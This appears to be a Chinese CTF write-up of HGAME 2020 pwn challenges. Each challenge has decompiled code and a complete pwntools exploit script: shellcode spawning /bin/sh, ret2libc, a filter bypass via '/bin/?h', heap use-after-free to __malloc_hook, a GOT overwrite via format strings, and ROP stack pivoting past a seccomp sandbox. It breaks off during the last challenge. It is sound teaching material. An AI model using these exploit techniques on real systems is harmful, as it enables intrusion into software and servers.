【WriteUp】HGAME 2020--Pwn题解

休闲休闲

Hard_AAAAA

Description:

无脑AAA太无聊了,挑战更高难度的无脑AAA!
nc 47.103.214.163 20000


Solution:

满足条件即可,有后门的,主函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+0h] [ebp-ACh]
char v5; // [esp+7Bh] [ebp-31h]
unsigned int v6; // [esp+A0h] [ebp-Ch]
int *v7; // [esp+A4h] [ebp-8h]

v7 = &argc;
v6 = __readgsdword(0x14u);
alarm(8u);
setbuf(_bss_start, 0);
memset(&s, 0, 0xA0u);
puts("Let's 0O0o\\0O0!");
gets(&s);
if ( !memcmp("0O0o", &v5, 7u) )
backdoor();
return 0;
}

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 1
context(arch="i386", endian='el', os="linux")
context.log_level = "debug"
if debug == 1:
p = process('./Hard_AAAAA')
else:
p = remote('47.103.214.163', 20000)

pd = 'a' * 0x7b
pd += '0O0o\x00O0'
p.sendlineafter('Let\'s 0O0o\\0O0!\n', pd)
p.interactive()

Flag:

1
hgame{0OoO0oo0O0Oo}

Number_Killer

Description:

看起来人畜无害的一些整数也能秒我?(吃惊)
nc 47.103.214.163 20001


Solution:

主函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v4[11]; // [rsp+0h] [rbp-60h]
int i; // [rsp+5Ch] [rbp-4h]

setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
memset(v4, 0, 0x50uLL);
puts("Let's Pwn me with numbers!");
for ( i = 0; i <= 19; ++i )
v4[i] = readll();
return 0;
}

可以看到有数组溢出漏洞,所以编写 shellcode 即可,readall 函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
__int64 readll()
{
char nptr[8]; // [rsp+0h] [rbp-20h]
__int64 v2; // [rsp+8h] [rbp-18h]
int v3; // [rsp+10h] [rbp-10h]
int v4; // [rsp+18h] [rbp-8h]
int i; // [rsp+1Ch] [rbp-4h]

*(_QWORD *)nptr = 0LL;
v2 = 0LL;
v3 = 0;
v4 = 0;
for ( i = 0; read(0, &nptr[i], 1uLL) > 0 && i <= 19 && nptr[i] != 10; ++i );
return atoll(nptr);
}

最后写入的 shellcode 会被转换为数字,所以我们每次传入的 shellcode 的末尾不能超过 \x7f

自己手写 shellcode 就完了,注意末尾字节即可

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 1
context(arch="amd64", endian='el', os="linux")
context.log_level = "debug"
if debug == 1:
p = process('./Number_Killer')
else:
p = remote('47.103.214.163', 20001)
rop_jmp_rsp = 0x40078a

p.sendlineafter("Let's Pwn me with numbers!\n", '\x00')
for i in range(1, 12):
p.sendline(str(0xcffffffff))
p.sendline(str(rop_jmp_rsp))
p.sendline(str(u64('\x48\x31\xc9\x48\xbb\x2f\x2f\x62')))
p.sendline(str(u64('\x69\x6e\x2f\x73\x68\x48\x89\x1f')))
p.sendline(str(u64('\x48\x31\xdb\xb8\x3b\x00\x00\x00')))
p.sendline(str(u64('\x0f\x05'.ljust(8, '\x00'))))
for i in range(17, 18):
p.sendline(str(0))
# gdb.attach(p, "b *0x40078d\nc")
p.sendline(str(0))
p.interactive()

Flag:

1
hgame{Ea2y_2hel1c0de_1n_St4ck}

One_Shot

Description:

一发入魂
nc 47.103.214.163 20002


Solution:

这题是把 flag 文件的内容读到 bss 段里了,然后依靠一个字节的覆盖来泄露 flag 即可

主函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int __cdecl main(int argc, const char **argv, const char **envp)
{
_BYTE *v4; // [rsp+8h] [rbp-18h]
int fd[2]; // [rsp+10h] [rbp-10h]
unsigned __int64 v6; // [rsp+18h] [rbp-8h]

v6 = __readfsqword(0x28u);
v4 = 0LL;
*fd = open("./flag", 0, envp);
setbuf(stdout, 0LL);
read(fd[0], &flag, 0x1EuLL);
puts("Firstly....What's your name?");
__isoc99_scanf("%32s", &name);
puts("The thing that could change the world might be a Byte!");
puts("Take tne only one shot!");
__isoc99_scanf("%d", &v4);
*v4 = 1;
puts("A success?");
printf("Goodbye,%s", &name);
return 0;
}

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 1
context(arch="amd64", endian='el', os="linux")
context.log_level = "debug"
if debug == 1:
p = process('./One_Shot')
else:
p = remote('47.103.214.163', 20002)

addr_shot = 0x6010DF
p.sendlineafter("Firstly....What's your name?\n", 'a' * 31)
p.sendlineafter("Take tne only one shot!\n", str(addr_shot))
p.recvuntil('\x61\x01')
p.interactive()

Flag:

1
hgame{On3_Sh0t_0ne_Fl4g}

ROP_LEVEL0

Description:

ROP is PWNers’ romance
nc 47.103.214.163 20003


Solution:

简单的 ret2libc,这题的 vuln 函数不给也罢

主函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
char buf; // [rsp+0h] [rbp-50h]
int v6; // [rsp+38h] [rbp-18h]
int fd[2]; // [rsp+48h] [rbp-8h]

memset(&buf, 0, 0x38uLL);
v6 = 0;
setbuf(_bss_start, 0LL);
v3 = open("./some_life_experience", 0);
*(_QWORD *)fd = v3;
read(v3, &buf, 0x3CuLL);
puts(&buf);
read(0, &buf, 0x100uLL);
return 0;
}

主函数就有溢出直接用就好了

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 2
context(arch="amd64", endian='el', os="linux")
# context.log_level = "debug"
if debug == 1:
p = process('./ROP_LEVEL0')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
else:
p = remote('47.103.214.163', 20003)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
elf = ELF('./ROP_LEVEL0', checksec=False)
plt_puts = elf.plt['puts']
got_puts = elf.got['puts']
rop_pop_rdi_ret = 0x400753
addr_vuln = 0x400636


pd = 'a' * 0x58
pd += p64(rop_pop_rdi_ret)
pd += p64(got_puts)
pd += p64(plt_puts)
pd += p64(addr_vuln)
p.sendafter('You can not only cat flag but also Opxx Rexx Wrxxx ./flag\n', pd)

addr_puts = u64(p.recv(6).ljust(8, '\x00'))
libcbase = addr_puts - libc.sym['puts']
addr_system = libcbase + libc.sym['system']
addr_bin_sh = libcbase + libc.search('/bin/sh').next()

pd = 'a' * 0x18
pd += p64(rop_pop_rdi_ret)
pd += p64(addr_bin_sh)
pd += p64(addr_system)
pd += p64(addr_vuln)
p.send(pd)
p.interactive()

Flag:

1
hgame{R0P_1s_H4cK3rs'_RoM4nC3}

findyourself

Description:

baby题有两种,这是第一种,虽然这题名字没有baby
nc 47.103.214.163 21000


Solution:

考察命令绕过的题,不常见不常见,主函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s1; // [rsp+0h] [rbp-90h]
char buf; // [rsp+40h] [rbp-50h]
unsigned __int64 v6; // [rsp+88h] [rbp-8h]

v6 = __readfsqword(0x28u);
init();
memset(&buf, 0, 0x40uLL);
getcwd(&buf, 0x40uLL);
puts("where are you?");
read_n(&s1, 0x40u);
if ( strcmp(&s1, &buf) )
{
puts("nonono,not there");
exit(0);
}
read_n(&s1, 0x14u);
if ( check2(&s1) == -1 )
{
puts("oh,it's not good idea");
exit(0);
}
close(1);
close(2);
system(&s1);
return 0;
}

其中重要的函数是 init 函数、check2 函数和 init 里面的 check1 函数

check2 函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
signed __int64 __fastcall check2(const char *a1)
{
signed __int64 result; // rax

if ( strchr(a1, '*')
|| strstr(a1, "sh")
|| strstr(a1, "cat")
|| strstr(a1, "..")
|| strchr(a1, '&')
|| strchr(a1, '|')
|| strchr(a1, '>')
|| strchr(a1, '<') )
{
result = 0xFFFFFFFFLL;
}
else
{
result = 0LL;
}
return result;
}

这块绕过很简单,用/?绕过就行了,初始化的 init 函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
unsigned __int64 init()
{
int buf; // [rsp+4h] [rbp-51Ch]
int i; // [rsp+8h] [rbp-518h]
int fd; // [rsp+Ch] [rbp-514h]
int v4[52]; // [rsp+10h] [rbp-510h]
char v5[1008]; // [rsp+E0h] [rbp-440h]
char s; // [rsp+4D0h] [rbp-50h]
char command; // [rsp+4F0h] [rbp-30h]
unsigned __int64 v8; // [rsp+518h] [rbp-8h]

v8 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(_bss_start, 0LL);
fd = open("/dev/urandom", 0);
buf = 0;
read(fd, &buf, 1uLL);
buf %= 50;
if ( fd < 0 )
exit(-1);
chdir("./tmp");
for ( i = 0; i <= 49; ++i )
{
read(fd, &v4[i], 4uLL);
snprintf(&v5[20 * i], 0x14uLL, "0x%x", v4[i]);
mkdir(&v5[20 * i], 0x1EDu);
}
snprintf(&s, 0x16uLL, "./%s", &v5[20 * buf]);
chdir(&s);
puts("find yourself");
read_n(&command, 0x19u);
if ( check1(&command) != -1 )
system(&command);
return __readfsqword(0x28u) ^ v8;
}

可以看到程序先取了随机数取余,作为下标参数,存储相对应的下标的值到&s里并将其设置为当前目录

之后可以执行一个系统命令,但要先经过 check1 函数,函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
signed __int64 __fastcall check1(const char *a1)
{
signed __int64 result; // rax
int i; // [rsp+1Ch] [rbp-14h]

for ( i = 0; i < strlen(a1); ++i )
{
if ( (a1[i] <= 96 || a1[i] > 122) && (a1[i] <= 64 || a1[i] > 90) && a1[i] != '/' && a1[i] != ' ' && a1[i] != '-' )
return 0xFFFFFFFFLL;
}
if ( strstr(a1, "sh") || strstr(a1, "cat") || strstr(a1, "flag") || strstr(a1, "pwd") || strstr(a1, "export") )
result = 0xFFFFFFFFLL;
else
result = 0LL;
return result;
}

可以看到程序只允许大小写字母以及/-的输入

当时我就想这块不是能直接提权吗,就直接输入了setarch athlon,本机没问题但是远程却不行

想到可能没有这个命令,于是我就用ls -la /bin查看了一下,只有孤零零的这几个命令:

1
2
3
4
5
6
7
8
9
10
root@lepPwn:~/CTF/Pwn/sad# nc 47.103.214.163 21000
find yourself
ls -la /bin
total 392
drwxr-xr-x 2 0 0 4096 Jan 22 23:57 .
drwxr-x--- 1 0 1000 4096 Jan 25 02:43 ..
-rwxr-xr-x 1 0 0 52080 Jan 22 23:57 cat
-rwxr-xr-x 1 0 0 126584 Jan 22 23:57 ls
-rwxr-xr-x 1 0 0 154072 Jan 22 23:57 sh
-rwxr-xr-x 1 0 0 56704 Jan 22 23:57 timeout

这就很烦了,所以之后我选择了去固定选/tmp文件夹里面的一个目录作为当前目录,看自己有没有欧气能正好对应上,于是乎写了爆破脚本

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 2
context(arch="amd64", endian='el', os="linux")
# context.log_level = "debug"
while True:
try:
if debug == 1:
p = process('./fys')
else:
p = remote('47.103.214.163', 21000)
# gdb.attach(p, "set follow-fork-mode parent\nb *0x400D4A\nc")
p.sendlineafter('find yourself\n', 'ls -tla /tmp')
for i in range(0, 0x10):
p.recvuntil('\n')
p.recvuntil('0x')
pwd = '/tmp/0x' + p.recvuntil('\n')[:-1]
p.recvuntil('where ')
p.sendlineafter('are you?\n', pwd)
info('pwd = ' + pwd)
p.recvuntil('nonono,not there\n', timeout=0.2)
except EOFError:
pd = '/bin/?h'
p.sendline(pd)
p.sendline("exec 1>&0")
p.interactive()
p.close()
break
else:
p.close()
continue

Flag:

1
hgame{You_4re_So_C1EV3R}

Roc826s_Note

Description:

不好好学C的话是很容易随手写出PWN题的
nc 47.103.214.163 21002


Solution:

基础堆题,主函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // eax

setbuf(stdin, 0LL);
setbuf(_bss_start, 0LL);
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
menu();
v3 = readi();
if ( v3 != 2 )
break;
dele();
}
if ( v3 > 2 )
break;
if ( v3 != 1 )
goto LABEL_13;
add();
}
if ( v3 != 3 )
{
if ( v3 == 4 )
exit(0);
LABEL_13:
exit(0);
}
show();
}
}

add 函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
__int64 add()
{
signed int i; // [rsp+8h] [rbp-8h]
signed int v2; // [rsp+Ch] [rbp-4h]

for ( i = 0; ; ++i )
{
if ( i > 19 )
{
puts("full!");
return 0LL;
}
if ( !list[i] )
break;
}
puts("size?");
v2 = readi();
if ( v2 < 0 || v2 > 0x90 )
{
puts("Invalid size!");
exit(0);
}
list[i] = malloc(v2);
printf("content:");
read_n(list[i], v2);
puts("done!");
return 0LL;
}

dele 函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
__int64 dele()
{
int v1; // [rsp+Ch] [rbp-4h]

puts("index?");
v1 = readi();
if ( list[v1] )
{
free(list[v1]);
puts("done!");
}
else
{
puts("Invalid index!");
}
return 0LL;
}

show 函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
__int64 show()
{
int v1; // [rsp+Ch] [rbp-4h]

puts("index?");
v1 = readi();
if ( list[v1] )
{
printf("content:");
puts(list[v1]);
}
else
{
puts("Invalid index!");
}
return 0LL;
}

有 uaf,利用 unsorted bin 泄露 libc,之后修改 __malloc_hook 为 one_gadget 即可

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 1
context(arch="amd64", endian='el', os="linux")
context.log_level = "debug"
if debug == 1:
p = process('./Roc826')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
else:
p = remote('47.103.214.163', 21002)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
elf = ELF('./Roc826', checksec=False)


def add(add_size, add_content):
p.sendlineafter(':', '1')
p.sendlineafter('size?\n', str(add_size))
p.sendlineafter('content:', add_content)


def dele(dele_idx):
p.sendlineafter(':', '2')
p.sendlineafter('index?\n', str(dele_idx))


def show(show_idx):
p.sendlineafter(':', '3')
p.sendlineafter('index?\n', str(show_idx))
p.recvuntil('content:')


libc_one_gadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
add(0x80, '')
add(0x60, '')
add(0x60, '')
dele(0)
show(0)

addr___malloc_hook = u64(p.recv(6).ljust(8, '\x00')) - 88 - 0x10
libcbase = addr___malloc_hook - libc.sym['__malloc_hook']
addr_one_gadget = libcbase + libc_one_gadget[3]

add(0x80, '')
dele(1)
dele(2)
dele(1)
add(0x60, p64(addr___malloc_hook - 0x23))
add(0x60, p64(addr___malloc_hook - 0x23))
add(0x60, p64(addr___malloc_hook - 0x23))
add(0x60, 'a' * 0x13 + p64(addr_one_gadget))
p.sendlineafter(':', '1')
p.sendlineafter('size?\n', '1')
success('addr___malloc_hook = ' + hex(addr___malloc_hook))
success('libcbase = ' + hex(libcbase))
success('addr_one_gadget = ' + hex(addr_one_gadget))
# gdb.attach(p)
p.interactive()

Flag:

1
hgame{W3lc0mE_T0_The_D0Or_of_He4p}

Another_Heaven

Description:

永遠と呼びたい 君に 出逢えた ことだけは
nc 47.103.214.163 21001


Solution:

主程序如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // eax
char v4; // [rsp+Bh] [rbp-35h]
char v5[12]; // [rsp+Ch] [rbp-34h]
__int64 v6; // [rsp+18h] [rbp-28h]
__int64 v7; // [rsp+20h] [rbp-20h]
__int64 v8; // [rsp+28h] [rbp-18h]
unsigned __int64 v9; // [rsp+38h] [rbp-8h]

v9 = __readfsqword(0x28u);
v4 = 0;
*&v5[4] = 0LL;
v6 = 0LL;
v7 = 0LL;
v8 = 0LL;
init();
puts("There is a back door...\"Hacked by Annevi!\"");
*v5 = readi();
read(0, *v5, 1uLL);
puts("==========================================");
puts(" ____ ");
puts("| _ \\ ___ _ __ _ __ | | | |_ _| |__ ");
puts("| |_) / _ \\| '__| '_ \\| |_| | | | | '_ \\ ");
puts("| __/ (_) | | | | | | _ | |_| | |_) |");
puts("|_| \\___/|_| |_| |_|_| |_|\\__,_|_.__/ ");
puts(&byte_40101A);
puts("==========================================");
puts(" Login System");
printf("Account:", *v5);
read_n(ainput, 32);
if ( strcmp(ainput, account) )
{
puts("Account Error!");
exit(0);
}
printf("Password:", account);
read_n(password, 48);
if ( !strcmp(password, flag) )
{
puts("Welcome!The emperor Qie!");
puts("|Recommended|Hottest|Most Viewed......");
result = 0;
}
else
{
puts("Wrong Password!");
sleep(1u);
puts("Forgot your password?(y/n)");
read_n(&v4, 1);
if ( v4 != 'y' )
exit(0);
puts("Security verification problem:Who is your Wife?");
read_n(&v5[4], 32);
if ( strncmp(&v5[4], s2, 0x30uLL) )
{
puts("no,no,no!");
exit(0);
}
puts("Welcome!The emperor Qie!");
puts("Change your password,plz:");
cpswd();
puts("|Recommended|Hottest|Most Viewed......");
result = 0;
}
return result;
}

利用一上来的后门改写 strcmp 函数为 printf 函数,之后利用%n的特性让 printf 返回 0 来绕过 if 检测

最后利用%s打印 flag 即可

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 1
context(arch="amd64", endian='el', os="linux")
context.log_level = "debug"
if debug == 1:
p = process('./Another_Heaven')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
else:
p = remote('47.103.214.163', 21001)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
elf = ELF('./Another_Heaven', checksec=False)
got_strcmp = elf.got['strcmp']
plt_printf = elf.plt['printf']

# gdb.attach(p, "b *0x400CE8\nc")
p.sendlineafter('There is a back door..."Hacked by Annevi!"\n', str(got_strcmp))
p.send(chr(plt_printf & 0xff))
p.sendlineafter('Account:', '%n')
p.sendlineafter('Password:', '%s')
p.sendlineafter('Forgot your password?(y/n)\n', 'n')
success('got_strcmp = ' + hex(got_strcmp))
success('plt_printf = ' + hex(plt_printf))
p.interactive()

Flag:

1
hgame{VGhlX2Fub3RoZXJfd2F5X3RvX2hlYXZlbg==}

形而上的坏死

Description:

Can you deceive the world?The lonely observer!
nc 47.103.214.163 21003


Solution:

主程序如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
__int64 game()
{
signed __int64 v0; // rsi
__int64 v2; // [rsp+0h] [rbp-C0h]
__int64 v3; // [rsp+8h] [rbp-B8h]
int v4; // [rsp+8h] [rbp-B8h]
char v5[160]; // [rsp+10h] [rbp-B0h]
char v6[8]; // [rsp+B0h] [rbp-10h]
unsigned __int64 v7; // [rsp+B8h] [rbp-8h]

v7 = __readfsqword(0x28u);
LODWORD(v3) = 0;
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
puts("这一天,你在路上偶遇了睿智的逆向出题人:The eternal God Y!");
puts("只见他拿着一把AWP不知道在那瞄谁。");
puts("他发现了你,喜出望外:兄弟,包给你快去下包,我帮你架点!");
puts("你要把C4安放在哪里呢?");
HIDWORD(v3) = readi("你要把C4安放在哪里呢?", 0LL);
read(0, &v6[8 * HIDWORD(v3)], 8uLL);
puts("the bomb has been planted!");
getchar();
puts("a few moments later~");
puts("快过年了,正好有一条养了一年多的金枪鱼最近看起来闷闷不乐。");
puts("不如把它宰了,吃一顿大餐,你说吼不吼啊!");
getchar();
printf("但是这一年多对它也有了些许感情,因此为了纪念它,你决定给它起个名字:");
v0 = 48LL;
read_n(name, 48LL);
puts("------------------------------------------------------------------");
puts("接下来开始切菜,你打算把它切成几段呢?");
HIDWORD(v2) = readi("接下来开始切菜,你打算把它切成几段呢?", 48LL);
if ( SHIDWORD(v2) > 20 )
{
puts("要被砍成金枪鱼酱了啦!");
exit(0);
}
puts("------------------------------------------------------------------");
puts(
"为了满足每个人不同的口味,每一段都打算用不同的烹饪方法。顺带一提,我喜欢糖醋金枪鱼");
LODWORD(v2) = 0;
while ( BYTE4(v2) > v2 )
{
printf("第%d段打算怎么料理呢:", v2, v2, v3);
memset(&v5[8 * v2], 0, 8uLL);
v0 = 8LL;
read_n(&v5[8 * v2], 8LL);
LODWORD(v2) = v2 + 1;
}
puts("接下来你打算把剩下的鱼骨头做成标本。");
sleep(1u);
puts("-----------------------------------------------------------");
puts("| |");
puts(name);
puts("| |");
puts("-----------------------------------------------------------");
puts("就在此时,你发现了一根茄子,这根茄子居然已经把锅里的金枪鱼吃了大半。");
getchar();
puts("仔细观察一下,你发现这居然是一只E99p1ant,并且有大量邪恶的能量从中散发。");
getchar();
puts("你吓得立马扔掉了它,E99p1ant在空中飞行了114514秒,请问它经过的路程是__m:");
LODWORD(v3) = readi(
"你吓得立马扔掉了它,E99p1ant在空中飞行了114514秒,请问它经过的路程是__m:",
v0);
puts("E99p1ant落地后,发现旁边居然有一个C4……Bomb!Terrorist Win");
write(1, &v6[8 * HIDWORD(v3)], 6uLL);
puts("E99p1ant不甘地大喊:啊~~!~?~…____");
if ( flag1 == 1 )
{
read_n(&e99 + 8 * v4, 8LL);
puts("E99p1ant变成了茄酱。");
flag1 = 0;
}
else
{
puts("嗯?!世界线……被改变了,我的Reading Steiner触发了!");
}
return 0LL;
}

在 libc 中找能返回起始地址的跳点,之后再改成 one_gadget 即可

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 1
context(arch="amd64", endian='el', os="linux")
context.log_level = "debug"
if debug == 1:
p = process('./Metaphysical_Necrosis')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
else:
p = remote('47.103.214.163', 21003)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
elf = ELF('./Metaphysical_Necrosis', checksec=False)


libc_one_gadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
gdb.attach(p, "b *$rebase(0xC8C)\nb *$rebase(0xF18)\nc")
p.sendlineafter('你要把C4安放在哪里呢?\n', str(5))
p.send('\x16')
p.sendlineafter('the bomb has been planted!\n', '')
p.sendlineafter('不如把它宰了,吃一顿大餐,你说吼不吼啊!\n', '')
p.sendlineafter('但是这一年多对它也有了些许感情,因此为了纪念它,你决定给它起个名字:', 'bbbb')
p.sendlineafter('接下来开始切菜,你打算把它切成几段呢?\n', str(0))
p.recvuntil('接下来你打算把剩下的鱼骨头做成标本。\n')
sleep(1)
p.sendlineafter('就在此时,你发现了一根茄子,这根茄子居然已经把锅里的金枪鱼吃了大半。\n', '')
p.sendlineafter('仔细观察一下,你发现这居然是一只E99p1ant,并且有大量邪恶的能量从中散发。\n', '')
p.sendlineafter('你吓得立马扔掉了它,E99p1ant在空中飞行了114514秒,请问它经过的路程是__m:\n', str(10))
p.recvuntil('E99p1ant落地后,发现旁边居然有一个C4……Bomb!Terrorist Win\n')

addr___libc_start_main = u64(p.recv(6).ljust(8, '\x00')) - 214
libcbase = addr___libc_start_main - libc.sym['__libc_start_main']
addr_one_gadget = libcbase + libc_one_gadget[0]

p.sendlineafter('E99p1ant不甘地大喊:啊~~!~?~…____\n', 'BBBB')

p.sendlineafter('你要把C4安放在哪里呢?\n', str(5))
p.send(p64(addr_one_gadget))
p.sendlineafter('the bomb has been planted!\n', '')
p.sendlineafter('不如把它宰了,吃一顿大餐,你说吼不吼啊!\n', '')
p.sendlineafter('但是这一年多对它也有了些许感情,因此为了纪念它,你决定给它起个名字:', 'bbbb')
p.sendlineafter('接下来开始切菜,你打算把它切成几段呢?\n', str(0))
p.recvuntil('接下来你打算把剩下的鱼骨头做成标本。\n')
sleep(1)
p.sendlineafter('就在此时,你发现了一根茄子,这根茄子居然已经把锅里的金枪鱼吃了大半。\n', '')
p.sendlineafter('仔细观察一下,你发现这居然是一只E99p1ant,并且有大量邪恶的能量从中散发。\n', '')
p.sendlineafter('你吓得立马扔掉了它,E99p1ant在空中飞行了114514秒,请问它经过的路程是__m:\n', str(10))
p.recvuntil('E99p1ant落地后,发现旁边居然有一个C4……Bomb!Terrorist Win\n')
p.sendlineafter('E99p1ant不甘地大喊:啊~~!~?~…____\n', '/bin/sh\x00')
success('addr___libc_start_main = ' + hex(addr___libc_start_main))
success('addr_one_gadget = ' + hex(addr_one_gadget))
p.interactive()

Flag:

1
hgame{H4Ck1ng_T0_Th3_G4TE!}

ROP_LEVEL2

Description:

nc 47.103.214.163 20300


Solution:

程序保护如下:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

这题开了沙箱:

1
2
3
4
5
6
7
8
9
10
root@lepPwn:~/CTF/Pwn# seccomp-tools dump ./ROP line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x05 0xc000003e if (A != ARCH_X86_64) goto 0007
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x02 0xffffffff if (A != 0xffffffff) goto 0007
0005: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0007
0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0007: 0x06 0x00 0x00 0x00000000 return KILL

主程序如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
char buf; // [rsp+0h] [rbp-50h]
int fd[2]; // [rsp+48h] [rbp-8h]

setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
init();
puts("It's just a little bit harder...Do you think so?");
read(0, &::buf, 0x100uLL);
v3 = open("./some_life_experience", 0);
*fd = v3;
read(v3, &buf, 0x3CuLL);
puts(&buf);
read(0, &buf, 0x60uLL);
return 0;
}

用栈迁移加上 orw 即可,因为程序栈迁移后 rdx 始终为 0x60,所以就不用管 rdx 了

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 1
context(arch="amd64", endian='el', os="linux")
# context.log_level = "debug"
if debug == 1:
p = process('./ROP')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
else:
p = remote('47.103.214.163', 20300)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
elf = ELF('./ROP', checksec=False)
plt_open = elf.plt['open']
plt_read = elf.plt['read']
plt_puts = elf.plt['puts']
rop_pop_rdi_ret = 0x400a43
rop_pop_rsi_pop_r15_ret = 0x400a41
rop_leave_ret = 0x40090d
addr_bss = 0x6010A0
addr_main = 0x4009BA

# gdb.attach(p, "b *0x4009cb\nc")
pd = p64(addr_bss + 0x8)
pd += p64(rop_pop_rdi_ret)
pd += p64(addr_bss + 0x80)
pd += p64(rop_pop_rsi_pop_r15_ret)
pd += p64(0)
pd += p64(0)
pd += p64(plt_open)
pd += p64(rop_pop_rdi_ret)
pd += p64(4)
pd += p64(rop_pop_rsi_pop_r15_ret)
pd += p64(addr_bss - 0x30)
pd += p64(0x30)
pd += p64(plt_read)
pd += p64(rop_pop_rdi_ret)
pd += p64(addr_bss - 0x30)
pd += p64(plt_puts)
pd += '/flag'
p.sendafter("It's just a little bit harder...Do you think so?\n", pd)

pd = 'a' * 0x50
pd += p64(addr_bss)
pd += p64(rop_leave_ret)
p.sendafter('/flag\n\n', pd)
p.interactive()

Flag:

1
hgame{E4sy_St4cK_P1voTing}

Annevi_Note

Description:

libc 2.23
nc 47.103.214.163 20301


Solution:

程序保护如下:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
